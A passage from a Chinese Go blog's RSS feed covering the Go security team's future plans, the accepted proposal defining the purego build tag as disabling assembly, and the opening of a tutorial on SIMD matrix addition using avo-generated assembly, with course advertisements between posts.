<p>为了克服内部团队可能存在的“视野盲区”，在 2024 年初，团队聘请了第三方顶尖安全公司 Trail of Bits 对 Go 的全部加密库进行全面审计。结果令人满意——仅发现一个被认为是严重的问题，这既验证了团队内部工作的质量，也修复了潜在的未知风险。</p>
<h2>未来 —— 迎接新时代的挑战与规划</h2>
<p>网络安全的战场永远在变化。Go 安全团队的目光，已经投向了未来的三大核心挑战。</p>
<h3>1. 强化测试与验证</h3>
<p>“要么不写代码，要么就好好测试它。” 这是防御 bug 的两大黄金法则。未来，团队将投入更多精力：</p>
<ul>
<li><strong>引入更广泛、更系统的测试套件</strong>，尤其针对 TLS、x509 等复杂协议。</li>
<li>持续探索<a href="https://words.filippo.io/assembly-mutation/">如何更有效地测试汇编代码</a>的正确性和常量时间特性，这是目前的一大难点。</li>
</ul>
<h3>2. 加固模块生态系统</h3>
<p>Roland 坦言：“Go 模块生态系统至今未遭受重大攻击，这只是时间问题。” 团队正在积极研究如何在<strong>模块代理 (Proxy) 和 checksum 数据库 (SumDB)</strong> 层面引入新的安全机制，以抵御未来可能出现的、日益复杂的<a href="https://tonybai.com/2025/05/22/go-sbom-practice">供应链</a>攻击。虽然具体方案尚未公布，但这已是团队内部的头等大事。</p>
<h3>3. 布局后量子密码学 (Post-Quantum Crypto)</h3>
<p>量子计算的幽灵，正威胁着我们现有的一切公钥加密体系。团队正在密切关注<a href="https://tonybai.com/2025/05/20/post-quantum-cryptography-in-go">后量子密码学</a>的标准化进程，并已开始进行内部研究。但他们秉持着一贯的审慎原则：<strong>在一个后量子算法被主流协议（如 TLS）正式采纳之前，Go 标准库不会贸然实现它。</strong> 这样做是为了确保 Go 提供的 API 是经过真实场景检验的、设计优良的，而不是一份匆忙的、可能会被废弃的草案实现。</p>
<h3>4. 将 govulncheck 集成到 go 命令中</h3>
<p><a href="https://tonybai.com/2022/09/10/an-intro-of-govulncheck">govulncheck</a> 是一个极其强大的工具，它能通过静态分析，精确地判断你的代码是否真的调用了某个依赖库中的漏洞函数，从而避免“狼来了”式的无效告警。但由于它目前是一个独立工具，使用率并不理想。</p>
<p>团队的最终目标，是将 govulncheck 的功能<strong>直接集成到 go 命令中</strong>，让漏洞扫描成为每个 Gopher 日常开发流程中不可或缺的一部分，就像 go fmt 或 go test 一样。</p>
<h2>小结：一场需要全民参与的“战争”</h2>
<p>演讲的最后，Roland 向社区发出了邀请：安全并非仅仅是安全团队的责任，它需要每一位开发者的参与。</p>
<ul>
<li><strong>报告异常</strong>：如果你在生产中观察到任何“诡异”的行为，请不要轻易放过。最近一个关于 database/sql 包的严重竞态条件漏洞，正是由一家大公司报告的、看似无关的“查询结果异常”所引出的。</li>
<li><strong>反馈“安全隐患” (Footguns)</strong>：如果你发现 Go 的某个 API 设计让你很容易写出不安全的代码，请告诉 Go 团队。他们乐于采纳建议，设计出更安全的 API。</li>
</ul>
<p>Go 语言的安全性，并非源于某个单一的、革命性的功能，而是源于其内存安全的设计、审慎的 API 哲学，以及一个专注、专业的团队在幕后进行的、持续不断的、细致入微的改进工作。正是这场由官方团队引领、需要整个社区共同参与的“隐形战争”，构筑了 Go 语言值得信赖的安全基石。</p>
<hr />
<p>你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？</p>
<ul>
<li>想写出更地道、更健壮的Go代码，却总在细节上踩坑？</li>
<li>渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？</li>
<li>想打造生产级的Go服务，却在工程化实践中屡屡受挫？</li>
</ul>
<p>继《<a href="http://gk.link/a/10AVZ">Go语言第一课</a>》后，我的《<a href="http://gk.link/a/12yGY">Go语言进阶课</a>》终于在极客时间与大家见面了！</p>
<p>我的全新极客时间专栏 《<a href="http://gk.link/a/12yGY">Tony Bai·Go语言进阶课</a>》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。</p>
<p>目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！</p>
<p><img src="https://tonybai.com/wp-content/uploads/course-card/iamtonybai-banner-2.gif" alt="" /></p>
<hr />
<p><strong>想系统学习Go，构建扎实的知识体系？</strong></p>
<p>我的新书《<a href="https://book.douban.com/subject/37499496/">Go语言第一课</a>》是你的首选。源自2.4万人好评的极客时间专栏，内容全面升级，同步至Go 1.24。首发期有专属五折优惠，不到40元即可入手，扫码即可拥有这本300页的Go语言入门宝典，即刻开启你的Go语言高效学习之旅！</p>
<p><img src="https://tonybai.com/wp-content/uploads/2025/go-primer-published-4.png" alt="" /></p>
<hr />
<p>商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。</p>
<p><img src="http://image.tonybai.com/img/tonybai/iamtonybai-wechat-qr.png" alt="" /></p>
<p style='text-align:left'>&copy; 2025, <a href='https://tonybai.com'>bigwhite</a>. 版权所有. </p>
]]></content:encoded>
			<wfw:commentRss>https://tonybai.com/2025/09/25/go-security-past-present-and-future/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>purego 标签到底是什么意思？一场长达六年的社区辩论终于有了定论</title>
		<link>https://tonybai.com/2025/08/01/proposal-purego/</link>
		<comments>https://tonybai.com/2025/08/01/proposal-purego/#comments</comments>
		<pubDate>Fri, 01 Aug 2025 00:05:09 +0000</pubDate>
		<dc:creator>bigwhite</dc:creator>
				<category><![CDATA[技术志]]></category>
		<category><![CDATA[app-engine]]></category>
		<category><![CDATA[Assembly]]></category>
		<category><![CDATA[buildtags]]></category>
		<category><![CDATA[Cgo]]></category>
		<category><![CDATA[gccgo]]></category>
		<category><![CDATA[Go]]></category>
		<category><![CDATA[Golang]]></category>
		<category><![CDATA[gopherjs]]></category>
		<category><![CDATA[noasm]]></category>
		<category><![CDATA[nocgo]]></category>
		<category><![CDATA[nounsafe]]></category>
		<category><![CDATA[purego]]></category>
		<category><![CDATA[TinyGo]]></category>
		<category><![CDATA[unsafe]]></category>
		<category><![CDATA[汇编]]></category>

		<guid isPermaLink="false">https://tonybai.com/?p=4981</guid>
		<description><![CDATA[本文永久链接 &#8211; https://tonybai.com/2025/08/01/proposal-purego 大家好，我是Tony Bai。 对于许多 Go 开发者来说，purego 构建标签一直是一个模糊的存在。它到底意味着“没有 Cgo”、“没有 unsafe”，还是“没有汇编”？这个问题的答案在社区中众说纷纭，甚至连标准库中的使用也不尽统一。最近，一项历时六年、编号为#23172 的提案终于尘埃落定，Go 团队正式接受 (accepted) 了关于 purego 含义的共识。本文将带大家一起回顾这场漫长而精彩的社区辩论，深入探讨其背后的技术权衡，并阐明这个小小的标签对于 Go 的跨实现（如 TinyGo）和可移植性生态的深远意义。 背景：一个模糊的约定 purego 标签的诞生，源于 Go 生态系统日益增长的多样性。除了官方的 gc 编译器，还涌现出了 GopherJS、TinyGo、gccgo 等多种 Go 实现。在这些非标准环境中，对 unsafe 包的指针操作、Cgo 的支持以及 Go 汇编的兼容性各不相同。 最初，protobuf 等库为了兼容Google App Engine 等不允许 unsafe 的环境，开始使用 safe 标签。这个概念逐渐演变为 purego，但其确切含义从未被正式定义。这导致了混乱： 有人认为 purego 意味着完全的内存安全，即禁止 unsafe 包。 有人认为它意味着纯粹的 Go 代码，即禁止 cgo [...]]]></description>
			<content:encoded><![CDATA[<p><img src="https://tonybai.com/wp-content/uploads/2025/proposal-purego-1.png" alt="" /></p>
<p><a href="https://tonybai.com/2025/08/01/proposal-purego">本文永久链接</a> &#8211; https://tonybai.com/2025/08/01/proposal-purego</p>
<p>大家好，我是Tony Bai。</p>
<p>对于许多 Go 开发者来说，purego 构建标签一直是一个模糊的存在。它到底意味着“没有 Cgo”、“没有 unsafe”，还是“没有汇编”？这个问题的答案在社区中众说纷纭，甚至连标准库中的使用也不尽统一。最近，一项历时六年、编号为<a href="https://github.com/golang/go/issues/23172">#23172</a> 的提案终于尘埃落定，Go 团队正式<strong>接受 (accepted)</strong> 了关于 purego 含义的共识。本文将带大家一起回顾这场漫长而精彩的社区辩论，深入探讨其背后的技术权衡，并阐明这个小小的标签对于 Go 的跨实现（如 TinyGo）和可移植性生态的深远意义。</p>
<h2>背景：一个模糊的约定</h2>
<p>purego 标签的诞生，源于 Go 生态系统日益增长的多样性。除了官方的 gc 编译器，还涌现出了 GopherJS、TinyGo、gccgo 等多种 Go 实现。在这些非标准环境中，对 unsafe 包的指针操作、Cgo 的支持以及 Go 汇编的兼容性各不相同。</p>
<p>最初，protobuf 等库为了兼容Google App Engine 等不允许 unsafe 的环境，开始使用 safe 标签。这个概念逐渐演变为 purego，但其确切含义从未被正式定义。这导致了混乱：</p>
<ul>
<li>有人认为 purego 意味着<strong>完全的内存安全</strong>，即禁止 unsafe 包。</li>
<li>有人认为它意味着<strong>纯粹的 Go 代码</strong>，即禁止 cgo 和汇编。</li>
<li>还有人认为它应该是一个<strong>包罗万象的标签</strong>，同时禁止 unsafe、cgo 和汇编。</li>
</ul>
<p>这种模糊性给库作者和不同 Go 实现的维护者带来了困扰。</p>
<h2>辩论的焦点：一个标签，多重含义的冲突</h2>
<p>提案的讨论过程充满了精彩的技术思辨，核心矛盾在于试图用一个标签来承载多个正交（orthogonal）的概念：</p>
<ol>
<li>
<p><strong>noasm vs. nounsafe vs. nocgo</strong>：来自 TinyGo 团队的开发者明确指出，TinyGo <strong>支持 unsafe 和 cgo，但不支持 Go 汇编</strong>。如果 purego 同时禁止这三者，那么 TinyGo 将被迫禁用它本可以支持的功能。!cgo 标签已经很好地解决了 Cgo 的问题，因此将 cgo 捆绑进来显得多余。</p>
</li>
<li>
<p><strong>unsafe 的多重“不安全”</strong>：Go 安全负责人 Filippo Valsorda (@FiloSottile) 进一步指出，unsafe 包本身也包含了不同层次的“不安全”：</p>
<ul>
<li><strong>类型转换</strong>（如 unsafe.String）：通常是可移植的。</li>
<li><strong>linkname</strong>：与运行时实现紧密耦合。</li>
<li><strong>指针运算</strong>：依赖内存布局，是真正的不可移植性的主要来源。</li>
</ul>
<p>用一个 nounsafe 标签一概而论，过于粗暴，可能会“误伤”许多可移植的 unsafe 用法。</p>
</li>
<li>
<p><strong>生态现状</strong>：seankhliao 通过 GitHub 搜索发现，社区中 //go:build !purego 与 import “unsafe” 的组合（表示非 purego 版本才使用 unsafe）远多于 //go:build purego 与 import “unsafe” 的组合。这表明，社区的主流用法倾向于将 purego 视为<strong>不使用 unsafe 和汇编</strong>的版本。</p>
</li>
</ol>
<h2>达成共识：“完美是优秀的敌人”</h2>
<p>在长达数年的讨论后，Filippo Valsorda 的一段评论为这场辩论指明了方向，他主张“<strong>不要让完美成为优秀的敌人</strong>”：</p>
<ul>
<li><strong>核心用例</strong>：当前最主要的需求来自 <strong>TinyGo</strong> 和<strong>标准库加密包的通用后备代码测试</strong>，这两者本质上都需要一个“<strong>禁用汇编</strong>”的开关。</li>
<li><strong>现有约定</strong>：purego 已经是社区和标准库中广泛用于禁用汇编的<strong>事实标准</strong>。虽然名字不够理想（noasm 会更清晰），但改变一个已广泛使用的约定的成本太高。</li>
<li><strong>重新界定</strong>：我们应该停止扩大 purego 的定义，回归其最核心、最被需要的用途。</li>
</ul>
<p>最终，在 aclements 等核心成员的推动下，社区达成了清晰的共识。</p>
<h2>最终决议：purego 意为“无汇编”</h2>
<p>Go 团队最终<strong>接受 (accepted)</strong> 了该提案，并明确了其最终方向：将在 go help buildconstraint 中正式文档化 purego 构建标签的<strong>约定</strong>：</p>
<ul>
<li>purego <strong>主要用于禁用汇编代码</strong>，从而启用纯 Go 的实现作为后备。</li>
<li>purego 与 cgo <strong>是正交的</strong>。是否使用 Cgo 应由 cgo 标签控制。</li>
<li>purego <strong>不常规地影响 unsafe 包的使用</strong>。可移植的 unsafe 用法是被允许的。</li>
</ul>
<h2>对 Go 开发者的影响</h2>
<p>这个决议对于 Go 生态系统意义重大：</p>
<ol>
<li><strong>为库作者提供了清晰的指导</strong>：当你的库同时包含汇编优化版本和纯 Go 实现版本时，purego 是官方推荐的、用于在两者之间切换的标签。</li>
<li><strong>为 Go 的替代实现铺平了道路</strong>：像 TinyGo 这样的编译器现在可以自信地默认设置 purego 标签，从而无缝地使用标准库和第三方库中提供的纯 Go 后备代码，而不用担心会意外地禁用它们所支持的 unsafe 或 cgo 功能。</li>
<li><strong>提升了测试的便利性</strong>：开发者可以在拥有汇编优化的平台（如 amd64）上，通过 -tags purego 来方便地测试和调试纯 Go 的实现版本。</li>
</ol>
<h2>结论</h2>
<p>purego 标签的标准化之路，是 Go 社区在实践中不断探索、辩论并最终达成务实共识的又一个经典案例。它表明，一个健康的语言生态不仅需要顶层设计，更需要在真实世界的需求碰撞中，不断澄清和完善其约定。通过为 purego 赋予一个清晰、专注的定义，Go 语言再次为其跨平台、跨实现的承诺，奠定了一块坚实的基石。</p>
<hr />
<p>你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？</p>
<ul>
<li>想写出更地道、更健壮的Go代码，却总在细节上踩坑？</li>
<li>渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？</li>
<li>想打造生产级的Go服务，却在工程化实践中屡屡受挫？</li>
</ul>
<p>继《<a href="http://gk.link/a/10AVZ">Go语言第一课</a>》后，我的《<a href="http://gk.link/a/12yGY">Go语言进阶课</a>》终于在极客时间与大家见面了！</p>
<p>我的全新极客时间专栏 《<a href="http://gk.link/a/12yGY">Tony Bai·Go语言进阶课</a>》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。</p>
<p>目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！</p>
<p><img src="https://tonybai.com/wp-content/uploads/course-card/iamtonybai-banner-2.gif" alt="" /></p>
<hr />
<p>商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。</p>
<p><img src="http://image.tonybai.com/img/tonybai/iamtonybai-wechat-qr.png" alt="" /></p>
<p style='text-align:left'>&copy; 2025, <a href='https://tonybai.com'>bigwhite</a>. 版权所有. </p>
]]></content:encoded>
			<wfw:commentRss>https://tonybai.com/2025/08/01/proposal-purego/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Go语言中的SIMD加速：以矩阵加法为例</title>
		<link>https://tonybai.com/2024/07/21/simd-in-go/</link>
		<comments>https://tonybai.com/2024/07/21/simd-in-go/#comments</comments>
		<pubDate>Sun, 21 Jul 2024 13:33:03 +0000</pubDate>
		<dc:creator>bigwhite</dc:creator>
				<category><![CDATA[技术志]]></category>
		<category><![CDATA[Add]]></category>
		<category><![CDATA[ADDPS]]></category>
		<category><![CDATA[AI]]></category>
		<category><![CDATA[amd64]]></category>
		<category><![CDATA[ARM]]></category>
		<category><![CDATA[asm]]></category>
		<category><![CDATA[Assembly]]></category>
		<category><![CDATA[avo]]></category>
		<category><![CDATA[AVX]]></category>
		<category><![CDATA[benchmark]]></category>
		<category><![CDATA[c2goasm]]></category>
		<category><![CDATA[Cgo]]></category>
		<category><![CDATA[CPU]]></category>
		<category><![CDATA[deepseek]]></category>
		<category><![CDATA[fasthttp]]></category>
		<category><![CDATA[for-range]]></category>
		<category><![CDATA[Go]]></category>
		<category><![CDATA[go1.11]]></category>
		<category><![CDATA[go1.23]]></category>
		<category><![CDATA[Golang]]></category>
		<category><![CDATA[goplus]]></category>
		<category><![CDATA[Iterator]]></category>
		<category><![CDATA[LEA]]></category>
		<category><![CDATA[llgo]]></category>
		<category><![CDATA[lscpu]]></category>
		<category><![CDATA[MMX]]></category>
		<category><![CDATA[MOV]]></category>
		<category><![CDATA[MOVUPS]]></category>
		<category><![CDATA[NEON]]></category>
		<category><![CDATA[Plan8]]></category>
		<category><![CDATA[register]]></category>
		<category><![CDATA[Rust]]></category>
		<category><![CDATA[SIMD]]></category>
		<category><![CDATA[SISD]]></category>
		<category><![CDATA[SSE]]></category>
		<category><![CDATA[Stub]]></category>
		<category><![CDATA[Testing]]></category>
		<category><![CDATA[VADDPS]]></category>
		<category><![CDATA[VFP]]></category>
		<category><![CDATA[VMOVUPS]]></category>
		<category><![CDATA[x86-64]]></category>
		<category><![CDATA[XCHG]]></category>
		<category><![CDATA[XMM]]></category>
		<category><![CDATA[YMM]]></category>
		<category><![CDATA[ZMM]]></category>
		<category><![CDATA[函数迭代器]]></category>
		<category><![CDATA[大模型]]></category>
		<category><![CDATA[寄存器]]></category>
		<category><![CDATA[并行处理]]></category>
		<category><![CDATA[指令]]></category>
		<category><![CDATA[汇编]]></category>
		<category><![CDATA[矩阵]]></category>
		<category><![CDATA[矩阵加法]]></category>

		<guid isPermaLink="false">https://tonybai.com/?p=4230</guid>
		<description><![CDATA[本文永久链接 &#8211; https://tonybai.com/2024/07/21/simd-in-go 前些日子，一些资深Gopher，比如fasthttp的作者Aliaksandr Valialkin因函数迭代器加入Go 1.23版本而抱怨Go的演进走错了方向：朝着增加复杂性和隐式代码执行的方向发展，而没有专注于Go语言的基本设计哲学——简单性、生产力和性能。Valialkin希望Go团队能专注于一些性能打磨和优化的环节，比如使用SIMD提升一些计算场景下Go代码的性能，避免Go的某些领地被以性能和安全性著称的Rust抢去！ 无独有偶，在Go项目issues中，我们也能看到很多有关希望Go支持SIMD指令的issue，比如近期的一个proposal，就期望Go团队可以在标准库中添加simd包以支持高性能的SIMD计算，就像Rust std::simd那样。当然，早期这类issue也有很多，比如：issue 53171、issue 58610等。 那么什么是SIMD指令？在Go官方尚未支持simd包或SIMD计算的情况下，如何在Go中使用SIMD指令进行计算加速呢？在这篇文章中，我们就来做个入门版介绍，并以一个最简单的矩阵加法的示例来展示一下SIMD指令的加速效果。 1. SIMD指令简介 SIMD是“单指令多数据”(Single Instruction Multiple Data)的缩写。与之对应的则是SISD（Single Instruction, Single Data），即“单指令单数据”。 在大学学习汇编时，用于举例的汇编指令通常是SISD指令，比如常见的ADD、MOV、LEA、XCHG等。这些指令每执行一次，仅处理一个数据项。早期的x86架构下，SISD指令处理的数据仅限于8字节（64位）或更小的数据。随着处理器架构的发展，特别是x86-64架构的引入，SISD指令也能处理更大的数据项，使用更大的寄存器。但SISD指令每次仍然只处理一个数据项，即使这个数据项可能比较大。 相反，SIMD指令是一种特殊的指令集，它可以让处理器可以同时处理多个数据项，提高计算效率。我们可以用下面这个更为形象生动的比喻来体会SIMD和SISD的差别。 想象你是一个厨师，需要切100个苹果。普通的方式是一次切一个苹果，这就像普通的SISD处理器指令。而SIMD指令就像是你突然多了几双手，可以同时切4个或8个苹果。显然，多手同时工作会大大提高切苹果的速度。 具体来说，SIMD指令的优势在于以下几点： 并行处理：一条指令可以同时对多个数据进行相同的操作。 数据打包：将多个较小的数据(如32位浮点数)打包到一个较大的寄存器(如256位)中。 提高数据吞吐量：每个时钟周期可以处理更多的数据。 这种并行处理方式特别适合于需要大量重复计算的任务，如图像处理、音频处理、科学计算等。通过使用SIMD指令，可以显著提高这些应用的性能。 主流的x86-64(amd64)和arm系列CPU都有对SIMD指令的支持。以x86-64为例，该CPU体系下支持的SIMD指令就包括MMX(MultiMedia eXtensions)、SSE (Streaming SIMD Extensions)、SSE2、SSE3、SSSE3、SSE4、AVX(Advanced Vector Extensions)、AVX2以及AVX-512等。ARM架构下也有对应的SIMD指令集，包括VFP (Vector Floating Point)、NEON (Advanced SIMD)、SVE (Scalable Vector Extension)、SVE2以及Helium (M-Profile Vector Extension, MVE)等。 注：在Linux上，你可以通过lscpu或cat /proc/cpuinfo来查看当前主机cpu支持的SIMD指令集的种类。 注：Go在Go 1.11版本才开始支持AVX-512指令。 每类SIMD指令集都有其特定的优势和应用场景，以x86-64下的SIMD指令集为例： MMX主要用于早期的多媒体处理； SSE系列逐步改进了浮点运算和整数运算能力，广泛应用于图形处理和音视频编码； AVX系列大幅提高了并行处理能力，特别适合科学计算和高性能计算场景。 [...]]]></description>
			<content:encoded><![CDATA[<p><img src="https://tonybai.com/wp-content/uploads/simd-in-go-1.png" alt="" /></p>
<p><a href="https://tonybai.com/2024/07/21/simd-in-go">本文永久链接</a> &#8211; https://tonybai.com/2024/07/21/simd-in-go</p>
<p>前些日子，一些资深Gopher，比如<a href="https://tonybai.com/2021/04/25/server-side-performance-nethttp-vs-fasthttp">fasthttp</a>的作者<a href="https://github.com/valyala">Aliaksandr Valialkin</a>因<a href="https://tonybai.com/2024/06/24/range-over-func-and-package-iter-in-go-1-23/">函数迭代器</a>加入<a href="https://tonybai.com/2024/05/30/go-1-23-foresight/">Go 1.23版本</a>而抱怨Go的演进走错了方向：朝着增加复杂性和隐式代码执行的方向发展，而没有专注于Go语言的基本设计哲学——简单性、生产力和性能。Valialkin希望Go团队能专注于一些性能打磨和优化的环节，比如使用SIMD提升一些计算场景下Go代码的性能，避免Go的某些领地被以性能和安全性著称的<a href="https://tonybai.com/tag/rust">Rust</a>抢去！</p>
<p>无独有偶，在Go项目issues中，我们也能看到很多有关希望Go支持SIMD指令的issue，比如<a href="https://github.com/golang/go/issues/67520">近期的一个proposal</a>，就期望Go团队可以在标准库中添加simd包以支持高性能的SIMD计算，就像Rust std::simd那样。当然，早期这类issue也有很多，比如：<a href="https://github.com/golang/go/issues/53171">issue 53171</a>、<a href="https://github.com/golang/go/issues/58610">issue 58610</a>等。</p>
<p>那么什么是SIMD指令？在Go官方尚未支持simd包或SIMD计算的情况下，如何在Go中使用SIMD指令进行计算加速呢？在这篇文章中，我们就来做个入门版介绍，并以一个最简单的矩阵加法的示例来展示一下SIMD指令的加速效果。</p>
<h2>1. SIMD指令简介</h2>
<p>SIMD是“单指令多数据”(Single Instruction Multiple Data)的缩写。与之对应的则是SISD（Single Instruction, Single Data），即“单指令单数据”。</p>
<p>在大学学习汇编时，用于举例的汇编指令通常是SISD指令，比如常见的ADD、MOV、LEA、XCHG等。这些指令<strong>每执行一次，仅处理一个数据项</strong>。早期的x86架构下，SISD指令处理的数据仅限于8字节（64位）或更小的数据。随着处理器架构的发展，特别是x86-64架构的引入，SISD指令也能处理更大的数据项，使用更大的寄存器。但SISD指令每次仍然只处理一个数据项，即使这个数据项可能比较大。</p>
<p>相反，SIMD指令是一种特殊的指令集，它可以让处理器可以同时处理多个数据项，提高计算效率。我们可以用下面这个更为形象生动的比喻来体会SIMD和SISD的差别。</p>
<p>想象你是一个厨师，需要切100个苹果。普通的方式是一次切一个苹果，这就像普通的SISD处理器指令。而SIMD指令就像是你突然多了几双手，可以同时切4个或8个苹果。显然，多手同时工作会大大提高切苹果的速度。</p>
<p><img src="https://tonybai.com/wp-content/uploads/simd-in-go-3.png" alt="" /></p>
<p>具体来说，SIMD指令的优势在于以下几点：</p>
<ul>
<li>并行处理：一条指令可以同时对多个数据进行相同的操作。</li>
<li>数据打包：将多个较小的数据(如32位浮点数)打包到一个较大的寄存器(如256位)中。</li>
<li>提高数据吞吐量：每个时钟周期可以处理更多的数据。</li>
</ul>
<p>这种并行处理方式特别适合于需要大量重复计算的任务，如图像处理、音频处理、科学计算等。通过使用SIMD指令，可以显著提高这些应用的性能。</p>
<p>主流的x86-64(amd64)和arm系列CPU都有对SIMD指令的支持。以x86-64为例，该CPU体系下支持的SIMD指令就包括MMX(MultiMedia eXtensions)、SSE (Streaming SIMD Extensions)、SSE2、SSE3、SSSE3、SSE4、AVX(Advanced Vector Extensions)、AVX2以及AVX-512等。ARM架构下也有对应的SIMD指令集，包括VFP (Vector Floating Point)、NEON (Advanced SIMD)、SVE (Scalable Vector Extension)、SVE2以及Helium (M-Profile Vector Extension, MVE)等。</p>
<blockquote>
<p>注：在Linux上，你可以通过lscpu或cat /proc/cpuinfo来查看当前主机cpu支持的SIMD指令集的种类。<br />
  注：Go在<a href="https://go.dev/wiki/AVX512">Go 1.11版本才开始支持AVX-512指令</a>。</p>
</blockquote>
<p>每类SIMD指令集都有其特定的优势和应用场景，以x86-64下的SIMD指令集为例：</p>
<ul>
<li>MMX主要用于早期的多媒体处理；</li>
<li>SSE系列逐步改进了浮点运算和整数运算能力，广泛应用于图形处理和音视频编码；</li>
<li>AVX系列大幅提高了并行处理能力，特别适合科学计算和高性能计算场景。</li>
</ul>
<p><img src="https://tonybai.com/wp-content/uploads/simd-in-go-2.png" alt="" /><br />
<center>x86-64下SIMD指令集演进</center></p>
<p>这些指令集的演进反映了处理器技术的发展和应用需求的变化。从支持64位计算的MMX到支持512位计算的AVX-512，SIMD指令的并行处理能力不断提升，更多更大的寄存器加入进来，为各种复杂的计算任务提供了强大的硬件支持。</p>
<blockquote>
<p>注：SSE和AVX各自有16个寄存器，SSE的16个寄存器为XMM0-XMM15，XMM是128位寄存器，而YMM是256位寄存器。支持AVX的x86-64处理器包含16个256位大小的寄存器，从YMM0到YMM15。每个YMM寄存器的低128位是相对应的XMM寄存器。大多数AVX指令可以使用任何一个XMM或者YMM寄存器作为SIMD操作数。AVX512将每个AVXSIMD寄存器的大小从256位扩展到512位，称为ZMM寄存器；符合AVX512标准的处理器包含32个ZMM寄存器，从ZMM0~ZMM31。YMM和XMM寄存器分别对应于每个ZMM寄存器的低256位和低128位。</p>
</blockquote>
<p>既然SIMD指令这么好，那么在Go中应该如何使用SIMD指令呢？接下来我们就来看看。</p>
<h2>2. 在Go中如何使用SIMD指令</h2>
<p>Go主要面向的是云计算领域、微服务领域，这些领域中对计算性能的要求相对没那么极致。以至于在一些对性能要求较高的场景，比如高性能计算、 图形学、数字信号处理等领域，很多gopher会遇到对Go计算性能进行优化的需求。</p>
<p>纯计算领域，怎么优化呢？此时此刻，Go官方并没有提供对SIMD提供支持的simd包。</p>
<p>一种想法是使用cgo机制在Go中调用更快的C或C++，但cgo的负担又不能不考虑，<a href="https://dave.cheney.net/2016/01/18/cgo-is-not-go">cgo不是go</a>，很多人不愿意引入cgo。</p>
<p>另外一种想法就是再向下一层，直接上汇编，在汇编中直接利用SIMD指令实现并行计算。但手写汇编难度是很高的，手写Plan9风格、资料甚少的Go汇编难度则更高。那么有什么方法避免直接手搓汇编呢？目前看大致有这么几种(如果有更好的方法，欢迎在评论区提出你的建议)：</p>
<ul>
<li>使用<a href="https://github.com/minio/c2goasm/">c2goasm</a>(https://github.com/minio/c2goasm/)转换</li>
</ul>
<p>我们可以先用c/c++实现对应的函数功能(可以利用类似intel提供的面向simd的<a href="https://www.intel.com/content/www/us/en/docs/intrinsics-guide/index.html">intrisic functions</a>)，然后生成汇编代码(基于clang)，再用c2goasm转换为go语言汇编。不过目前c2goasm已经public archive了，并且该方法应用受很多因素限制，比如clang版本和特定的编译选项啥的。亲测这种方法上手难度较高。</p>
<ul>
<li>使用uber工程师Michael McLoughlin开源的<a href="https://github.com/mmcloughlin/avo">avo</a>来生成go汇编</li>
</ul>
<p>avo(https://github.com/mmcloughlin/avo)是一个go包，它支持以一种相对高级一些的Go语法来编写汇编，至少你可以不必直面那些晦涩难懂的汇编代码。但使用avo编写汇编也不是很容易的事情，你仍然需要大致知道汇编的运作原理和基本的编写规则。此外avo与汇编的能力并非完全等价，其作者声明：avo也还处于实验阶段。</p>
<ul>
<li>使用goplus/llgo集成c/c++生态</li>
</ul>
<p>在go中调用c的cgo机制不受待见，<a href="https://github.com/goplus/llgo">llgo</a>反其道而行之，将go、python、c/c++等代码统统转换为llvm中间代码进而通过clang编译和优化为可执行文件。这样就可以直接利用python、c/c++的生态，进而利用高性能的c/c++实现（比如支持SIMD指令）。目前llgo还不成熟，七牛云老板许式伟正在全力开发llgo，等llgo成熟后，这后续可能也是一种选择。</p>
<p>考虑到Go目前不直接支持<a href="https://www.intel.com/content/www/us/en/docs/intrinsics-guide/index.html">intel intrisic functions for SIMD</a>，要在Go中使用SIMD只能直接使用汇编。而在手搓汇编难度太高的情况下，通过avo生成汇编便是一条可以尝试的路径，我们可以将一些计算的核心部分用avo生成的汇编来进行加速。</p>
<p>接下来，我们就来通过一个矩阵加法的示例看看SIMD指令的加速效果。基于SIMD指令的矩阵加法的汇编逻辑，我们采用avo实现。</p>
<h2>3. 第一版SIMD优化(基于SSE)</h2>
<p>我们使用avo先来实现一版基于SSE指令集的矩阵加法。前面说过avo是一个Go库，我们无需安装任何二进制程序，直接使用avo库中的类型和函数编写矩阵加法的实现即可：</p>
<pre><code>// simd-in-go/matadd-sse/pkg/asm.go

//go:build ignore
// +build ignore

package main

import (
    "github.com/mmcloughlin/avo/attr"
    . "github.com/mmcloughlin/avo/build"
    . "github.com/mmcloughlin/avo/operand"
)

func main() {
    TEXT("MatrixAddSIMD", attr.NOSPLIT, "func(a, b, c []float32)")
    a := Mem{Base: Load(Param("a").Base(), GP64())}
    b := Mem{Base: Load(Param("b").Base(), GP64())}
    c := Mem{Base: Load(Param("c").Base(), GP64())}
    n := Load(Param("a").Len(), GP64())

    X0 := XMM()
    X1 := XMM()

    Label("loop")
    CMPQ(n, U32(4))
    JL(LabelRef("done"))

    MOVUPS(a.Offset(0), X0)
    MOVUPS(b.Offset(0), X1)
    ADDPS(X1, X0)
    MOVUPS(X0, c.Offset(0))

    ADDQ(U32(16), a.Base)
    ADDQ(U32(16), b.Base)
    ADDQ(U32(16), c.Base)
    SUBQ(U32(4), n)
    JMP(LabelRef("loop"))

    Label("done")
    RET()

    Generate()
}
</code></pre>
<p>第一次看上面这段代码，你是不是觉得即便使用avo来生成矩阵加法的代码，如果你不了解汇编的编写和运行模式，你也是无从下手的。简单说一下这段代码。</p>
<p>首先，该文件是用于生成矩阵加法的汇编代码的，因此该asm.go并不会编译到最终的可执行文件中或测试代码中，这里利用go编译器构建约束将该文件排除在外。</p>
<p>main函数的第一行的TEXT函数定义了一个名为MatrixAddSIMD的函数，使用attr.NOSPLIT属性表示不需要栈分割，函数签名是：</p>
